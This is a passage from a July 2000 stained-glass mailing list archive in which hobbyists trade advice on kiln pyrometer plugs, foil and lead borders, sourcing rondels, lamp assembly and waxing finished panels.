> > guess
> > I could sacrifice one, but I then worry about the pyrometer falling out (
> > which
> >  they guarantee will cause it to overfire).
>
> The peep hole has little effect on the heating or cooling of the kiln. I
> leave mine out most of the time.
>
> You could drill one of your peep hole plugs to accommodate the pyrometer
> probe. Trouble is: most plugs are ceramic and so a bear to drill. Making a
> new one from raw clay is a good way to go.
>
> I received a peep hole adapter with my digital pyrometer from Paragon.
> Perhaps they can fix you up.
>
> Cheers, Bob in 9 2 0 2 6

--
*********************************************************************
*  Cecily Taylor Cummings Wood  and/or  Ralph Bernard Wood
*  Grendel Studio (Glass, Graphics, Gardens, Genealogy)
*********************************************************************


----
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From owner-glass Mon Jul 17 22:31:46 2000
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From: Bobfuses@aol.com
To: cecnralph@home.com, glass@bungi.com
Content-Type: text/plain; charset="ISO-8859-1"
Subject: Re: new kiln - help???
Date: Mon, 17 Jul 2000 23:06:41 EDT
Message-ID: <1970Jan1.000.0>
Precedence: bulk

In a message dated 7/17/00 7:01:18 PM Pacific Daylight Time,=20
cecnralph@home.com writes:

> One of the uses of the peep hole is for venting, as well as the recommende=
d=20
1"
>=20
>  leg/stilt/whatever, especially in rapid cooling back to around 1100=BA be=
fore
>  annealing, so I was worried about using it for that.  The thing came with=
 2
> peep plugs (obviously I need to learn some new nomenclature here), so I=20
> guess
> I could sacrifice one, but I then worry about the pyrometer falling out (
> which
>  they guarantee will cause it to overfire). =20

The peep hole has little effect on the heating or cooling of the kiln. I=20
leave mine out most of the time.

You could drill one of your peep hole plugs to accommodate the pyrometer=20
probe. Trouble is: most plugs are ceramic and so a bear to drill. Making a=20
new one from raw clay is a good way to go.

I received a peep hole adapter with my digital pyrometer from Paragon.=20
Perhaps they can fix you up.

Cheers, Bob in 9 2 0 2 6
----
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From owner-glass Mon Jul 17 22:43:44 2000
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X-Path: nconnect.com!williams
From: "Williams" <williams@nconnect.com>
To: <glass@bungi.com>
Content-Type: multipart/alternative;
Subject: RE: Two questions
Date: Mon, 17 Jul 2000 23:14:49 -0500
Message-ID: <1970Jan1.000.0>
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_00A5_01BFF044.CDCD7620
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Does anyone have any words of wisdom (good or bad) concerning the glass
tabletop fountains?

Also I recall seeing information on a method of mixing a concrete =
formula
for stepping stones that is similar to DiamondCrete.  If anyone has any
suggestions please feel free to email me personally so as to not upset
anyone on the list for duplicate postings.


I am interested in the same information.  I have heard that the concrete =
formula is very cheap but still has the same strength as DiamondCreat.  =
I am planning to make a lot of stepping stones for my new flower garden =
and a bench or two.=20

Thanks.

A Touch of Glass
Kim Williams
williams@nconnect.com
www.nconnect.com/~williams=20

------=_NextPart_000_00A5_01BFF044.CDCD7620
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2919.6307" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV>Does anyone have any words of wisdom (good or bad) concerning the=20
glass<BR>tabletop fountains?<BR><BR>Also I recall seeing information on =
a method=20
of mixing a concrete formula<BR>for stepping stones that is similar to=20
DiamondCrete.&nbsp; If anyone has any<BR>suggestions please feel free to =
email=20
me personally so as to not upset<BR>anyone on the list for duplicate=20
postings.<BR><BR>
<DIV>I am interested in the same information.&nbsp; I have heard that =
the=20
concrete formula is very cheap but still has the same strength as=20
DiamondCreat.&nbsp; I am planning to make a lot of stepping stones for =
my new=20
flower garden and a bench or two. </DIV>
<DIV>&nbsp;</DIV>
<DIV>Thanks.</DIV>
<DIV><BR>A Touch of Glass<BR>Kim Williams<BR><A=20
href=3D"mailto:williams@nconnect.com">williams@nconnect.com</A></DIV>
<DIV><A =
href=3D"http://www.nconnect.com/~williams">www.nconnect.com/~williams</A>=
=20
</DIV></DIV></BODY></HTML>

------=_NextPart_000_00A5_01BFF044.CDCD7620--

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From owner-glass Tue Jul 18 11:30:55 2000
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X-Path: verrier-scotland.demon.co.uk!s.richard
From: Steve Richard <s.richard@verrier-scotland.demon.co.uk>
To: Sonya Amt <SAmt@4esc.com>
Subject: Re: Copper Foil Panel
Date: Tue, 18 Jul 2000 19:10:41 +0100
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0@?>>
Precedence: bulk

Sonya,
        I see no reason to switch from copper foil to lead (it will not
provide additional strength) or Zinc (difficult to handle and solder) on
the borders, unless you want a broad profile around the bevels and
rectangles.  
        It is important to keep your reinforcement going to the outside
edges through what ever material you choose to use for the borders.

Steve
Who doesn't much like copper foil.


In message <1970Jan1.000.0@?>, Sonya Amt <SAmt@4esc.com> writes
>I am doing a wisteria piece that is 34" x 22".  There are over 400 pieces
>that I am copper foiling.  To that I am adding a border that will have 1"
>square bevels with a 1/2" - 1" wide (haven't decided which yet) rectangles
>on each side of the bevels. My question is should I continue the copper foil
>method in making the border or should I switch to lead for the border so
>that it will add strength to the entire piece.  My local supplier even
>suggested that I use H channel Zinc which she thought would further
>strengthen the entire piece.  I am already adding a copper reinforcement
>throughout the main wisteria piece.  Also how much space between pieces do I
>allow for the came?  1/16"?
>
>
>Thank you!!!!
>SONYA 
>
>
>----
>For subscription changes, please mail to: glass-request@bungi.com
>To send to the list,      please mail to: glass@bungi.com
>Archives available at http://www.bungi.com/glass

-- 
Steve Richard
Verrier Art Glass Ltd
s.richard@verrier-scotland.demon.co.uk
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From owner-glass Tue Jul 18 11:56:25 2000
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Content-Type: text/plain;
Subject: Burgundy Rondels
Date: Tue, 18 Jul 2000 11:46:51 -0700
Message-ID: <1970Jan1.000.0>
Precedence: bulk

 Anyone have any solid leads for burgundy rondels?  
 
Thanks
Shiela


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From owner-glass Tue Jul 18 13:00:38 2000
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From: "Carolyn" <glasscat@voyager.net>
To: <tuka@attcanada.net>, <glass@bungi.com>
Content-Type: text/plain;
Subject: Re: Burgundy Rondels
Date: Tue, 18 Jul 2000 15:39:22 -0400
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
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Hi Shiela: They just had some "wine" colored rondels on ebay, along with, I
think, cobalt. They were approximately 4" in diameter. I believe those
particular auctions ended last night, so I know it doesn't help you much
now, but it might be a source for future items.
Carolyn
glasscat@voyager.net
----- Original Message -----
From: <tuka@attcanada.net>
To: <glass@bungi.com>
Sent: Tuesday, July 18, 2000 2:46 PM
Subject: Burgundy Rondels


> Anyone have any solid leads for burgundy rondels?
>
> Thanks
> Shiela
>
>
> ----
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>

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From owner-glass Tue Jul 18 17:00:42 2000
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From: Cecily and Ralph Wood <cecnralph@home.com>
To: Bungi Glass <glass@bungi.com>
Content-Type: text/plain; charset=iso-8859-1; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Subject: Re: new kiln - help???
Date: Tue, 18 Jul 2000 19:43:23 -0400
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Organization: Grendel Studios
Precedence: bulk

Well, no.  They did tell me I need the peep hole plug with a hole and the porcelain
insulators, all of which costs about $7, but they won't ship anything less than
$15.  I've already tried several local distributors and they don't keep spares on
hand.  Tomorrow, I'll try the other couple of places, and then if they don't, I'll
call Paragon back and order enough stuff to equal $15 (like more kiln wash and
furnature, etc.  Sigh.  - Cec

Cecily and Ralph Wood wrote:

> Tomorrow I'll give them a call.  Betcha, for a price, they would be able to find
> an extra peep plug adapter.  They could probably also overnite it so it would be
> here when the electrician comes.  (Big deal in this household - to hire an
> electrician - twice in 16 years, I think.)   Thanks for your help - it doesn't
> seem quite so scary now. - Cec
>
> Bobfuses@aol.com wrote:
>
> > In a message dated 7/17/00 7:01:18 PM Pacific Daylight Time,
> > cecnralph@home.com writes:
> >
> > > One of the uses of the peep hole is for venting, as well as the recommended
> > 1"
> > >
> > >  leg/stilt/whatever, especially in rapid cooling back to around 1100º before
> > >  annealing, so I was worried about using it for that.  The thing came with 2
> > > peep plugs (obviously I need to learn some new nomenclature here), so I
> > > guess
> > > I could sacrifice one, but I then worry about the pyrometer falling out (
> > > which
> > >  they guarantee will cause it to overfire).
> >
> > The peep hole has little effect on the heating or cooling of the kiln. I
> > leave mine out most of the time.
> >
> > You could drill one of your peep hole plugs to accommodate the pyrometer
> > probe. Trouble is: most plugs are ceramic and so a bear to drill. Making a
> > new one from raw clay is a good way to go.
> >
> > I received a peep hole adapter with my digital pyrometer from Paragon.
> > Perhaps they can fix you up.
> >
> > Cheers, Bob in 9 2 0 2 6
>
> --
> *********************************************************************
> *  Cecily Taylor Cummings Wood  and/or  Ralph Bernard Wood
> *  Grendel Studio (Glass, Graphics, Gardens, Genealogy)
> *********************************************************************
>
> ----
> For subscription changes, please mail to: glass-request@bungi.com
> To send to the list,      please mail to: glass@bungi.com
> Archives available at http://www.bungi.com/glass

--
*********************************************************************
*  Cecily Taylor Cummings Wood  and/or  Ralph Bernard Wood
*  Grendel Studio (Glass, Graphics, Gardens, Genealogy)
*********************************************************************


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From owner-glass Tue Jul 18 18:33:01 2000
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From: Bobfuses@aol.com
To: cecnralph@home.com, glass@bungi.com
Content-Type: text/plain; charset="US-ASCII"
Subject: Re: new kiln - help???
Date: Tue, 18 Jul 2000 21:03:57 EDT
Message-ID: <1970Jan1.000.0>
Precedence: bulk

In a message dated 7/18/00 5:01:34 PM Pacific Daylight Time, 
cecnralph@home.com writes:

> Well, no.  They did tell me I need the peep hole plug with a hole and the 
> porcelain
> insulators, all of which costs about $7, but they won't ship anything less 
> than
> $15.  I've already tried several local distributors and they don't keep 
> spares on
> hand.  Tomorrow, I'll try the other couple of places, and then if they 
don't,
> I'll
> call Paragon back and order enough stuff to equal $15 (like more kiln wash 
> and
> furniture, etc.  Sigh.  - Cec

To make up your order I recommend you get several pounds of Glass Separator 
from Paragon. It is the best kiln wash I have come across.

Cheers, Bob in 9 2 0 2 6
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From owner-glass Tue Jul 18 19:35:19 2000
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X-Path: cheerful.com!infoslave
From: chris kaiser <infoslave@cheerful.com>
To: Bungi Glass <glass@bungi.com>
Content-Type: text/plain
Subject: Re: Archives
Date: Tue, 18 Jul 2000 22:19:16 -0400 (EDT)
Message-ID: <1970Jan1.000.0>
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<I think I oops'd and sent this to Jim only as a reply this morning, if the
list recieves it twice, I apologize.>

*sneaks out from under the lurkers carpet*
Hi Jim and all!

This is Chris 8))
I also would very very much like to complete this project! As you all know
it was/is a gigantic task and unfortunately sometimes "real" lives step in
and grab your time and attention. My hubby and I are in the process of
moving right now, which will be over in about 2 months. *Hopefully* when we
are settled I will be able to start devoting some time to this again. I feel
terribly guilty for letting so much time pass, but I'm encouraged to see you
still around and wanting to complete this Jim!
Something I will do in the interim is make the edited files we do have
available on my website for everyone. That way at least a person can go to
the "foiling" or "cutting" page for example and get what info is available
so far. And if the files are not sorted into groups yet, I can add a little
search engine on there for them to search the keywords. I can set that up
quickly, and I have plenty of room on my server.
Jim, if you could email the completed files to me, I'll do that straight
away.
I have also forgotten the bungi password, so don't send them there :/ Send
them to these addresses (a few files to each one because they all have size
constraints.
christkaiser@yahoo.com
christkaiser@chickmail.com
glassgeekgirl@yahoo.com
infoslave@cheerful.com
that should be enough space (I hope!) 8))
Thanks everyone for your patience and understanding!

chris
http://www.glassgeek.com


------Original Message------
From: Jim Gonzalez <gonzalj@freenet.tlh.fl.us>
To: glass@bungi.com
Sent: July 14, 2000 8:45:41 PM GMT
Subject: Re: Archives



Well I guess it's time to come out of lurkdom to test SMTP and answer
some of the questions which have been posted.

About a year ago Chris and I headed up a team of devoted Bungians who
went through the archives with the intent of producing a FAQ.  The task
was twofold, each email to Bungi had to be read and a decision made to
keep or omit it from the FAQ.  All the emails which were kept had
to be classified by subject and edited to remove all the extra text.

The team worked miracles in wading through 4 years worth of
emails.  All the completed files were returned to me.  The files occupy
about 10MB on my hard drive.  Anyone who wants a copy of all the files is
free to have them, I would recommend more than a basic level of computer
skills as these are text files, one for each month.  I have written a
couple of programs which I use to extract information.  I was/am planning
to take these files and produce a FAQ, unfortunately that task has yet to
be completed.

Periodically over the past 6 months I have used the files to extract
information and post responses to questions.  I remember one response
regarding working with lead during pregnancy to which I posted a link
to a web site with extracts from the archives.  On another occasion
there was a question on Contracts.  Other times I have offered (via
private email) to do a search of the archives and provide information.

It is still a dream of mine to complete this task.  In the interim I offer
to search the archives for any subject you would be interested in.
Mary Ann, funny you should mention putty, because just this week I did a
summary for my own use in preparation for puttying three panels which I
just completed.

To Jill (jazzykid), I apologize for not answering your emails.  I
assume you sent them to the yahoo account, unfortunately I haven't checked
that in months and have forgotten the userid/password.  If you like, feel
free to contact me at this address.

Jim


______________________________________________
FREE Personalized Email at Mail.com
Sign up at http://www.mail.com/?sr=signup


______________________________________________
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From owner-glass Wed Jul 19 05:47:18 2000
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From: SGriffiSBG@aol.com
To: williams@nconnect.com, glass@bungi.com
Content-Type: text/plain; charset="US-ASCII"
Subject: Re: Two questions
Date: Wed, 19 Jul 2000 08:30:55 EDT
Message-ID: <1970Jan1.000.0>
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Me too- information wanted about substitute for DiamondCrete thanks :-)
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From owner-glass Wed Jul 19 11:00:42 2000
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From: "Carolyn" <glasscat@voyager.net>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: NG! 
Date: Wed, 19 Jul 2000 14:01:22 -0400
Message-ID: <1970Jan1.000.0>
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Since this is the only "mail group" I'm on, I didn't know where else to go
for information. Many of you out there are so knowledgeable, I figured
someone would have an answer for me.
Is there a "Better Business Bureau" type of web site out there? A site to go
to in order to check the credentials of another web site.
Thank you for any help.
Carolyn
glasscat@voyager.net

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From owner-glass Wed Jul 19 12:01:17 2000
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From: Dee Thompson <deethom@erols.com>
To: <glass@bungi.com>
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Subject: Re: NG! 
Date: Wed, 19 Jul 2000 14:24:49 -0400
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Precedence: bulk

that's a very good question.    I'd suspect the liability would be incredible.
Dee


>Is there a "Better Business Bureau" type of web site out there? A site to go
>to in order to check the credentials of another web site.
>
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From owner-glass Wed Jul 19 16:27:50 2000
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From: GlassLites@aol.com
To: glass@bungi.com
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Subject: Re: Two questions
Date: Wed, 19 Jul 2000 19:15:25 EDT
Message-ID: <1970Jan1.000.0>
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In a message dated 7/17/00 10:28:06 PM Eastern Daylight Time, 
aglassworks@juno.com writes:

<< 
 Does anyone have any words of wisdom (good or bad) concerning the glass
 tabletop fountains? >>


I have had a tabletop fountain "on the back burner" for a couple of months. I 
took a class at the Las Vegas show this last Spring. I have it all together 
and just need to connect the pump and plug it in.

The class was not that great. But I got enough information to set off on my 
own. I've found a supply for pumps and the rest is just dreaming up designs.

I'll let you know when I plug it in..

But if you have specific questions, I'll help you any way I can.

Cheryl Lowe
GlassLites@aol.com
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From owner-glass Wed Jul 19 17:32:39 2000
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From: "Carolyn" <glasscat@voyager.net>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: Rondels
Date: Wed, 19 Jul 2000 20:12:43 -0400
Message-ID: <1970Jan1.000.0>
Precedence: bulk

I have to apologize to whomever wanted the rondels. They are still on ebay.
The 4" wine colored ones are #382239210, and the cobalt ones are #382238309.
(Just do a search by item #.)
I thought the above auctions were ended, but apparently they don't end until
Friday.
Again, I apologize.
Carolyn
glasscat@voyager.net

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From owner-glass Wed Jul 19 19:31:22 2000
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From: Wayne Parks <bigcreek@kingston.net>
To: glass@bungi.com
Content-Type: text/plain; charset=UTF-8
Subject: Re: Rondels
Date: Wed, 19 Jul 2000 21:46:38 -0400
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Organization: Big Creek Studio
Precedence: bulk

If I am in need of rondels I look for wine glasses with heavy feet,
break off  the stem at the foot and put this in the kiln and fire just
long enough for the foot to flatten out a bit and to fire polish the
break. You can usually find wine glasses in most colours and the price
is not much more than trying to find and buy ready made rondels.
Blenko Glass still make rondels, their web site is
http://www.blenkoglass.com/products/stained/rondel.htm

--
Wayne Parks


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From owner-glass Wed Jul 19 20:01:35 2000
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From: Cecily and Ralph Wood <cecnralph@home.com>
To: Bungi Glass <glass@bungi.com>
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Subject: spray wax
Date: Wed, 19 Jul 2000 22:34:30 -0400
Message-ID: <1970Jan1.000.0>
Organization: Grendel Studios
Precedence: bulk

Blessings on whomever suggested using clear Turtle Wax spray.  Just did
a large window sized panel (foiled) with it and it took almost no time
and looks super.  Protects the patina, and shines up the glass and it
doesn't show fingerprints (much - depending on whose fingers). - Cec

--
*********************************************************************
*  Cecily Taylor Cummings Wood  and/or  Ralph Bernard Wood
*  Grendel Studio (Glass, Graphics, Gardens, Genealogy)
*********************************************************************


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From owner-glass Wed Jul 19 21:33:29 2000
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X-Path: worldnet.att.net!Moya-Don
From: "D. ONeal" <Moya-Don@worldnet.att.net>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: Info on mosaics
Date: Thu, 20 Jul 2000 00:14:14 -0400
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Several have asked for info on grout/mortar for mosaics.  Here is Cole
Sonafrank's Stained Glass Stepping Stone site.

http://www.gi.alaska.edu/crc/staff/cole/mine/mosaics.html

Enjoy,
Moya

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From owner-glass Thu Jul 20 00:52:05 2000
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From: CINDEL67@aol.com
To: glass@bungi.com
Content-Type: text/plain; charset="US-ASCII"
Subject: Archives/workroom
Date: Thu, 20 Jul 2000 03:39:15 EDT
Message-ID: <1970Jan1.000.0>
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The other day someone suggested that I look in the bungi archives.  Reason 
being- to find out about setting up a workroom because it had been discussed 
in depth.  Well, has anyone ever tried to find a needle in a haystack?????  
There are sooooooo many archives and I have been going thru them for 
days.........Any idea as what the date could've been OR even what the YEAR 
might have been???

Cinda
Cindel67@aol.com
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From owner-glass Thu Jul 20 06:42:30 2000
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From: "Christie A. Wood" <Ensembles@compuserve.com>
To: Bungi <glass@bungi.com>
Content-Type: text/plain;
Subject: Copper Foil Panel
Date: Thu, 20 Jul 2000 08:55:05 -0400
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Message text written by Sonya Amt
>I am doing a wisteria piece that is 34" x 22".  There are over 400 piece=
s
that I am copper foiling.  To that I am adding a border that will have 1"=

square bevels with a 1/2" - 1" wide (haven't decided which yet) rectangle=
s
on each side of the bevels. My question is should I continue the copper
foil
method in making the border or should I switch to lead for the border so
that it will add strength to the entire piece.  My local supplier even
suggested that I use H channel Zinc which she thought would further
strengthen the entire piece.  I am already adding a copper reinforcement
throughout the main wisteria piece.  Also how much space between pieces d=
o
I
allow for the came?  1/16"?<

400 pieces crammed into a space 34" x 22"  ....  And I bet all the pieces=

are curved ones.  I wouldn't add anything extra, since all those curved
interlocking pieces are going to build a tremendously strong panel
anyway.  Border finishing is up you, but I would use whatever is most
appropriate for the finished look.  Is it to be mounted flush against an
opening?  Is it to be framed & hung in a window?  For the first I would
finish framing in lead.  For the latter, I would frame in wood.

Christie A. Wood
North Wales, PA USA
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From owner-glass Thu Jul 20 08:22:38 2000
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X-Path: one.net!gwood
From: "Gregg Wood" <gwood@one.net>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: Re: NG! 
Date: Thu, 20 Jul 2000 10:34:20 -0400
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

try www.planetfeedback.com
They will help you resolve problems with vendors & such.

-G

----- Original Message -----
From: Carolyn <glasscat@voyager.net>
To: <glass@bungi.com>
Sent: Wednesday, July 19, 2000 2:14 PM
Subject: NG!


> Since this is the only "mail group" I'm on, I didn't know where else to go
> for information. Many of you out there are so knowledgeable, I figured
> someone would have an answer for me.
> Is there a "Better Business Bureau" type of web site out there? A site to
go
> to in order to check the credentials of another web site.
> Thank you for any help.
> Carolyn
> glasscat@voyager.net
>
> ----
> For subscription changes, please mail to: glass-request@bungi.com
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>
>

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From owner-glass Thu Jul 20 09:35:44 2000
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From: "Bev Kelly" <till8er@alimac.com>
To: <glass@bungi.com>
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Subject: Lamp
Date: Thu, 20 Jul 2000 09:06:43 -0700
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This is a multi-part message in MIME format.

------=_NextPart_000_0097_01BFF229.D314CD40
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	charset="iso-8859-1"
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I am having a TERRIBLE time trying to make a lamp.  There are 6 panels =
the bottom is a triangle crystal (so it will not sit straight)  =
Everytime I solder the panels together they split and the glass comes =
out of the foil.    Would wider foil help?  Any suggestions?

Bev

------=_NextPart_000_0097_01BFF229.D314CD40
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	charset="iso-8859-1"
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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
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<STYLE></STYLE>
</HEAD>
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<DIV><FONT face=3DArial size=3D2>
<DIV>I am having a TERRIBLE time trying to make a lamp.&nbsp; There are =
6 panels=20
the bottom is a triangle crystal (so it will not sit straight)&nbsp; =
Everytime I=20
solder the panels together they split and the glass&nbsp;comes out of =
the=20
foil.&nbsp;&nbsp;&nbsp; Would wider foil help?&nbsp; Any =
suggestions?</DIV>
<DIV>&nbsp;</DIV>
<DIV>Bev</DIV></FONT></DIV></BODY></HTML>

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From owner-glass Thu Jul 20 10:07:48 2000
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X-Path: pop3.nildram.co.uk!glass
From: "Toby" <toby@northlights.co.uk>
To: "glass@bungi.com" <glass@bungi.com>,
Content-Type: text/plain; charset=US-ASCII
Subject: Re: NG: Elisabeth & bucket-fuls of margueritas
Date: Thu, 20 Jul 2000 17:35:42 +0100
Message-ID: <200007201549.e6KFnRa28917@mercury.nildram.co.uk>
Precedence: bulk

Hi Pamela (and all lovely people in Seattle),

..... So you still remember the bouquet of balloons.....   ;->
I hope Cheryl enjoyed them!! They came from a car sales lot on the 
way to obtain yet another bottle or so of wine for our all-night party.
We certainly had a lot of fun and I have not only many wonderful 
memories, but also so many great friends!
By the way, the balloons made their entry to Cheryl's place way 
gone 1 in the morning...

More than that.... I still am over-awed and delighted at the web-site 
you created for the E-Tour. For those of you that missed out, you 
can meet soooo many of Bungi-folks on these pages, including the 
fun we had at last year's WC Glass Visions:
http//:members.xoom.com/GlassArt1/photos.htm
The last picture of that tour, alas, isn't there, namely of Elisabeth 
arriving at Gatwick Airport, UK ,  carrying a kiln (seemingly 
effortlessly) out of Customs....... a mere 110 lbs in a strap 
contraption  nonchalantly over her shoulder...
Keep in touch Pam!! See you in person very soon I hope!!!!
Elisabeth 'n Gang in UK





> Elisabeth wrote: Right now, I now find myself being the perpetrator.
> There are so
> many of you I want to reach out to and hold hands with. We did
> just that, face to face, hand in hand, sharing bits of glass, glass
> cutting and loads of problems;  certainly sharing a day, a week,  a
> meal,  a glass of wine, bucketful's of margaritas and many a late
> night / early morning bunch of fun and laughter.
> 
> Nothing has really changed;
> there is just one or two of us who have to step back for a little
> while, catch breath, catch up on the mondanity of Life before we
> can dive back in there again.>snip
> 
> 
> 
> 
> I'll just say this when I met Elisabeth. She didn't have bucketful's of
> margaritas but I had my share...midori margaritas to be exact no salt :)
> E has bucketful's of wine. I think she could drink 3 bottles and you
> would never know it. Rumor had it that after a night full of wine and
> chat Elisabeth took a walk round midnight or was it 1 in the morning
> Elisabeth?.....she came back from her walk proudly displaying a huge
> bouquet of balloons found near a car lot....hehehehe.... I loved her,
> think of her and the other bungians that I met in Seattle often.
> 
> And I do agree nothing has changed. No matter who posts or doesn't post
> they are usually still in the background..you would be surprised who
> reads bungi and never posts :) Everyone needs to step back from time to
> time, take a breather and gather creative energy. The last thing I made
> was a birdbath and I threw in jewels here and there. That is all the
> glass I wanted to see. Now I'm ready to do something on a larger scale.
> Glass is fun to me because I don't rely upon it for my yearly income but
> I do rely upon my other two jobs to keep me afloat :)
> 
> 
> Pam
> 
> 
> 
> 
> Ms. Pamela Burns-Tappan
> Executive Director
> The Stained Glass Artists
> http://stainedglassartists.com
> A Division of: Moswood Mountain Ltd.
> http://moswoodmountainltd.com
> 
> 
> ----
> For subscription changes, please mail to: glass-request@bungi.com
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> Archives available at http://www.bungi.com/glass
> 


----
As my grandmother said "...there is only nobility of mind"
North Lights Stained Glass - homepage
http://www.netlink.co.uk/users/kris/northlights/index.htm 
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From owner-glass Thu Jul 20 11:38:01 2000
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From: Patty.McMaster@fbol.com
To: glass@bungi.com
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Date: Thu, 20 Jul 2000 13:11:20 -0500
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Wayne -
I have a kiln that has hardly ever been used & would like to try
to fuse something  or just mess around w/-- any pointers?
I have been doing stained glass for about 8 years
& never once used my kiln

HELP !!!!!!!!!!!!!!!!!!!!!!!!!!  times a wastin'

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From owner-glass Thu Jul 20 12:05:14 2000
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X-Path: inter-prog.co.uk!support
From: "Alan Faiers" <support@inter-prog.co.uk>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: RE: Lamp
Date: Thu, 20 Jul 2000 20:02:32 +0100
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

Bev-
This method works for me:
Lay the 6 pieces out, side by side, in a fan shape. Solder a continuous THIN
piece of wire along the short edges, leaving a little spare at either end.
Tack 5 short v-shaped pieces of wire to the other end of the fan, joining
adjacent panels. Carefully lift the structure up into its proper shape, and
join the ends of the fan. Tweak the pieces of wire, if necessary, to adjust
the shape, then tack solder to give it strength enough to handle. You can
leave the top wire in place if you want, but remove the lower pieces after
tack-soldering. Be sure to use thin wire, or it will pull the tape off as
you lift the lamp up into shape.
Voila - another masterpiece!!
Alan


>>  There are 6 panels =
the bottom is a triangle crystal (so it will not sit straight)  =
Everytime I solder the panels together they split and the glass comes =
out of the foil.    Would wider foil help?  Any suggestions?

----
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From owner-glass Thu Jul 20 12:46:13 2000
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X-Path: verrier-scotland.demon.co.uk!s.richard
From: Steve Richard <s.richard@verrier-scotland.demon.co.uk>
To: Cecily and Ralph Wood <cecnralph@home.com>
Subject: Re: spray wax
Date: Thu, 20 Jul 2000 19:47:19 +0100
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0@?>>
Precedence: bulk

I just have to ask.
Why put turtle wax (a car wax, am I right?) on the glass?  I understand
about putting it on the patina-ed solder, but not the glass.  If the
glass is to be kept clean, the wax would only seem to be receptive to
the dust that circulates.

I do come from the leaded window tradition where the window is cleaned
with whiting ( a mildly abrasive powder) that provides great clarity to
the glass and a lovely black patina to the lead.

What is the performance or look of the window sized panel after 6 months
or a year with the polish on the glass?  You see I am sceptical, but not
entirely disbelieving, that this is the appropriate way to treat a
window panel.  If turtle wax is good on copper foiled panels, why not on
leaded ones too?  and if not on leaded panels why is it good on foiled?

Are there any experiences relating to turtle wax on leaded panels? Would
anyone do it? if not, why not?  Etc.  What happens when you combine
copper foil in leaded panels?  do you cement as normal and then wax the
copper foil portion, wax the whole, or scrub the whole with whiting?

What are your reactions to my questions, even if you don't have the
experience of doing these things?

Steve


In message <1970Jan1.000.0@?>, Cecily and Ralph Wood
<cecnralph@home.com> writes
>Blessings on whomever suggested using clear Turtle Wax spray.  Just did
>a large window sized panel (foiled) with it and it took almost no time
>and looks super.  Protects the patina, and shines up the glass and it
>doesn't show fingerprints (much - depending on whose fingers). - Cec
>
>--
>*********************************************************************
>*  Cecily Taylor Cummings Wood  and/or  Ralph Bernard Wood
>*  Grendel Studio (Glass, Graphics, Gardens, Genealogy)
>*********************************************************************
>
>
>----
>For subscription changes, please mail to: glass-request@bungi.com
>To send to the list,      please mail to: glass@bungi.com
>Archives available at http://www.bungi.com/glass

-- 
Steve Richard
Verrier Art Glass Ltd
s.richard@verrier-scotland.demon.co.uk
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From owner-glass Thu Jul 20 13:36:01 2000
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X-Path: worldnet.att.net!Moya-Don
From: "D. ONeal" <Moya-Don@worldnet.att.net>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: Re:Spray Was
Date: Thu, 20 Jul 2000 16:37:45 -0400
Message-ID: <1970Jan1.000.0>
Precedence: bulk

OK Steve,
I agree the wax will probably yellow in time, but how much will it yellow
and in how much time?  I do not know.  I prefer waxed seams for my foiled
panels because they have a more finished look, but mostly because it forms a
water barrier.  I really hate the oxidation on a piece.
    If this spray wax is that much easier, then if you see the panel getting
dull, you could reclean it and apply more wax if it is that easy.
    If I were to use a foiled section in a leaded panel, I would do my
cementing and whiting first, then wax it.  I should think the whiting would
make the waxed glass look even shinier.
    I do not think that dust would be any more attracted to this surface
than any other once it is dry.  Besides, dust adds character to a surface.
The more traffic around a surface, the more dust.  So you can see how
popular any area is by the accumulation of dust. ;>)
Moya

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From owner-glass Thu Jul 20 20:01:02 2000
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X-Path: home.com!cecnralph
From: Cecily and Ralph Wood <cecnralph@home.com>
To: Steve Richard <s.richard@verrier-scotland.demon.co.uk>,
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Subject: Re: spray wax
Date: Thu, 20 Jul 2000 22:53:16 -0400
Message-ID: <1970Jan1.000.0>
References: <<Y92CCAA3k0d5Ew1Y@verrier-scotland.demon.co.uk>>
Organization: Grendel Studios
Precedence: bulk

I remember a discussion (heated at times) awhile ago on whether to wax or
not to wax.  I was taught to wax - but my teacher does small panels and
suncatchers and small (but beautiful) craft items, some of which she
designs.  She has some of her original pieces which are probably 10 years
old by now, and have never had any other polishing, other than an initial
three coats with liquid car wax containing urethane (like Turtle Wax or
Rain Dancer).  However, that process is tedious, and you have to use a
toothbrush to get at the little areas (especially where it turns whitish),
and you can sometimes lift the foil.  If a piece does have to be washed, it
will tolerate mild dish detergent without the wax layer coming off.

(Why car wax? - It is a good deal cheaper than the stuff aimed for stained
glass - just like I use petroleum jelly instead of the pricy wax so your
pen lines don't float away when {horrors!} grinding!  It seems to do the
job every bit as good as the high priced stuff.  It's also available
anywhere!)

She, however, had no experience with leading, other than as a border, or
